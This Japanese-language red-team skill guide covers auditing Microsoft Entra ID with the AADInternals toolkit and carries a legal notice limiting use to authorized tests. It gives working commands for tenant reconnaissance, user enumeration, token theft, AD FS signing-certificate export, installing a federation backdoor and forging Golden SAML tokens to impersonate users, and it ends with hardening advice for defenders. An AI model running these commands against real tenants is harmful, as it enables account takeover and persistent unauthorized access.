AADInternalsによるEntra IDの監査 は何をしますか?
法的注意: このスキルは、許可されたセキュリティテスト、レッドチーム演習、および教育目的のみで使用してください。AADInternalsはSAMLトークンを偽造し、テナントの任意のユーザーになりすまし可能な永続的なフェデレーションバックドアをインストールできます。自分が所有しているか、明示的な書面による許可(テスト実施規則)があるテナントに対してのみ使用してください。不正使用は、コンピュータ詐欺及び不正使用防止法および同等の法律に違反します。
概要
AADInternalsは、Dr. Nestori Syynimaa(Gerenios / Secureworks)によって作成された、Microsoft Entra ID(旧Azure AD)、Azure AD Connect、およびActive Directory Federation Services (AD FS)向けの最も包括的な攻撃/管理用PowerShellツールキットです。AADIntプレフィックスが付いた数百のコマンドレットを公開しており、認証なしの外部偵察、すべてのMicrosoft APIへのアクセストークン取得、ディレクトリ操作、AD FS/PTA攻撃、そして最も有名な機能であるフェデレーションバックドアをカバーしています。このバックドアは、Set-MsolDomainFederationSettings/ConvertTo-AADIntBackdoorパスを悪用し、フェデレーションドメインのIssuerUriを制御する攻撃者が任意のユーザーに対してSAMLトークンを生成できるようにします。これはMITRE ATT&CK T1606.002(偽装Web資格情報:SAMLトークン) に該当し、SolarWinds(Golden SAML)侵入で使用された技術と同じクラスです。
このツールキットは、必要な権限に応じて機能が分かれています。Invoke-AADIntReconAsOutsiderとGet-AADIntLoginInformationは資格情報を必要とせず、公開エンドポイント(getuserrealm、OpenID設定、自動検出)にクエリを実行して、確認済みドメイン、テナントID、フェデレーションの種類、ブランド、およびデスクトップSSO/シームレスSSOの有効性を明らかにします。足がかりを得ると、Get-AADIntAccessTokenFor* コマンドレットでAzure AD Graph、Microsoft Graph、Exchange Online、SharePoint、Azure Core Managementなどのトークンを取得し、必要に応じてキャッシュして後続のコマンドレットで再利用できます。グローバル管理者(または同期されたAD Connectアカウント)を使用すると、ディレクトリのシークレットを読み取り、ユーザーを操作し、フェデレーションバックドアを確立できます。
このスキルは、防御的検証のレンズを通してAADInternalsを駆動します。外部の攻撃者が何を学習できるか、低権限トークンが何に到達できるか、フェデレーション/AD FS構成がGolden SAMLを許容するかどうかを確認し、証拠と強化の推奨事項を生成します。
使用すべきタイミング
- 許可されたEntra ID / Microsoft 365 レッドチームまたは侵入を想定した評価中
- 資格情報攻撃の前に、外部攻撃面(確認済みドメイン、フェデレーションの種類、SSO)を列挙するため
- フェデレーションとAD FSトークン署名証明書がGolden SAMLから保護されていることを検証するため
- Microsoft第一党API間でのトークン取得とリプレイをテストするため
- 検出ルールを構築する際(ブルーチームのGraphログハンティングスキルと組み合わせる)、実際のAADInternalsテレメトリが必要な場合
前提条件
- アイデンティティ攻撃とフェデレーションバックドアテストをカバーする書面による許可
- PowerShell 5.1+(またはサポートされているサブセットのPowerShell 7)を搭載したWindowsホスト
- バックドア/フェデレーションテストの場合:対象テナントのグローバル管理者(または同等)権限、テスト実施規則の範囲内であること
- PowerShellギャラリーからモジュールをインストールする:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # クロスプラットフォームのAsOutsider専用再実装(資格情報不要)も利用可能: # https://github.com/synacktiv/AADOutsider-py - SAML/WS-Federation、OAuthトークン、およびAzure AD Connectに関する知識
目標
- 認証なしのテナント偵察を実行し、確認済みドメイン、テナントID、およびフェデレーションの種類を列挙する
- Microsoft第一党APIのアクセストークンを取得してキャッシュする
- 認証済みトークンでユーザー/グループ/ロールを列挙する
- 制御された承認された方法でフェデレーションバックドア/Golden SAMLパスをテストする
- 露出を文書化し、強化の推奨事項(トークン署名証明書の保護、フェデレーションモニタリング)を提供する
MITRE ATT&CK マッピング
| ID | テクニック | このスキルでの適用 |
|---|---|---|
| T1606.002 | 偽装Web資格情報:SAMLトークン | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken が、制御されたフェデレーションIssuerUriを介して任意のユーザーにSAMLトークンを偽造(Golden SAML) |
関連テクニック: T1087.004 アカウント発見:クラウドアカウント(偵察)、T1528 アプリケーションアクセストークンの窃取(トークン取得)、T1556.007 認証プロセスの変更:ハイブリッドID(フェデレーション/PTAバックドア)。
ワークフロー
ステップ1:認証なしの外部偵察
資格情報は不要です。確認済みドメイン、テナントID、フェデレーションの種類、ブランド、SSOステータスを特定します。
# ドメインの完全な外部偵察(テーブル出力)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# ログイン/レルムの詳細:フェデレーション vs マネージド、AuthURL、ブランド
Get-AADIntLoginInformation -Domain "target.com"
# テナントGUID
Get-AADIntTenantID -Domain "target.com"
ステップ2:外部ユーザー列挙(オプション、ノイズが多い)
GetCredentialType / autologonエンドポイントを介してユーザー名が存在するか検証します。
# 候補のUPNのリストを指定して存在をテスト
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# またはパイプで多数を処理:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
ステップ3:アクセストークンの取得とキャッシュ
有効な資格情報(または対話型プロンプト)を使用して、必要なAPIのトークンを取得します。-SaveToCacheを使用すると、後続のコマンドレットがトークンを自動的に再利用できます。
# Azure AD Graph(レガシー graph.windows.net)トークン、キャッシュ
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph(graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
ステップ4:認証済みディレクトリ列挙
キャッシュまたは取得したトークンを使用して、ディレクトリオブジェクトを読み取り、権限をマッピングします。
# グローバルテナント情報(キャッシュされたAAD Graphトークンを使用)
Get-AADIntTenantDetails
# ユーザーを列挙し、特権/同期されたアカウントを探す
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
ステップ5:フェデレーション/AD FS構成の検査
テナントがフェデレーションドメインを使用しているかどうか、トークン署名キーがどこにあるかを判断します。これはGolden SAMLの前提条件です。
# AD FSサーバーにアクセスできる場合、トークン署名証明書をエクスポート
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# AD FS構成/暗号化キーを読み取る(AD FSボックス上またはDKM経由)
Get-AADIntADFSConfiguration -Server adfs.target.com
ステップ6:フェデレーションバックドア/Golden SAML(許可された場合のみ)
既知のIssuerUriを設定してドメインをバックドアに変換し、そのドメインのImmutableIdを使用して対象ユーザーのSAMLトークンを偽造します。明示的な許可がある制御されたテナントでのみ実行してください。
# ステップ3でキャッシュされたグローバル管理者トークン(AAD Graph)が必要
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 出力には、トークン偽造時に再利用するIssuerUriが含まれます。
# ユーザーになりすますSAMLトークンを偽造(ImmutableIdはGet-AADIntUsersから)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# 偽造トークンを使用して、なりすましたユーザーとしてポータルセッションを開く
Open-AADIntOffice365Portal -SAMLToken $saml
ステップ7:露出の文書化と強化
偵察で明らかになったこと、どのトークン/APIに到達可能だったか、バックドア/Golden SAMLパスが成功したかどうかを正確に記録します。以下を推奨します:AD FSトークン署名証明書の保護(HSM、制限付きDKMアクセス)、新しい/変更されたフェデレーション信頼に関するアラート、Set-DomainAuthentication/Set-MsolDomainFederationSettingsの監視、および可能な場合はマネージド(クラウド)認証への移行。
ツールとリソース
| リソース | 目的 | ソース |
|---|---|---|
| AADInternals | Entra ID / AD FS 攻撃および管理ツールキット | https://github.com/Gerenios/AADInternals |
| AADInternals ドキュメント | コマンドレットリファレンスとテクニックの解説 | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | クロスプラットフォームのAsOutsider再実装 | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML の背景 | フェデレーションバックドアテクニックの解説 | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | 偽装Web資格情報:SAMLトークン | https://attack.mitre.org/techniques/T1606/002/ |
コマンドレットクイックリファレンス
| コマンドレット | 権限 | 目的 |
|---|---|---|
Invoke-AADIntReconAsOutsider | なし | 確認済みドメイン、テナントID、フェデレーションの種類、SSO |
Get-AADIntLoginInformation | なし | ドメインのレルム/ログイン詳細 |
Get-AADIntTenantID | なし | テナントGUID |
Invoke-AADIntUserEnumerationAsOutsider | なし | ユーザー存在確認 |
Get-AADIntAccessTokenForAADGraph | 資格情報 | Azure AD Graphトークン(-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | 資格情報 | Microsoft Graphトークン |
Get-AADIntAccessTokenForEXO | 資格情報 | Exchange Onlineトークン |
Get-AADIntUsers | トークン | ディレクトリユーザーの列挙 |
ConvertTo-AADIntBackdoor | グローバル管理者 | ドメインをフェデレーションバックドアに変換 |
New-AADIntSAMLToken | バックドア | ユーザーのSAMLトークンを偽造(Golden SAML) |
Open-AADIntOffice365Portal | SAMLトークン | なりすましたユーザーとしてポータルセッションを開く |
検証基準
- 外部偵察が完了し、確認済みドメイン、テナントID、フェデレーションの種類が記録された
- ユーザー列挙がテストされた(または範囲外として文書化された)
- 少なくとも1つのMicrosoft APIのアクセストークンが取得され、キャッシュされた
- 認証済みディレクトリ列挙が実行された(ユーザー/ロール、同期されたアカウントに注意)
- フェデレーション/AD FS構成がトークン署名キーの露出について評価された
- バックドア/Golden SAMLパスが許可された制御テナントでテストされたか、範囲外として文書化された
- 露出が具体的な影響とともに文書化された
- 強化の推奨事項(証明書保護、フェデレーションモニタリング、マネージド認証への移行)が提供された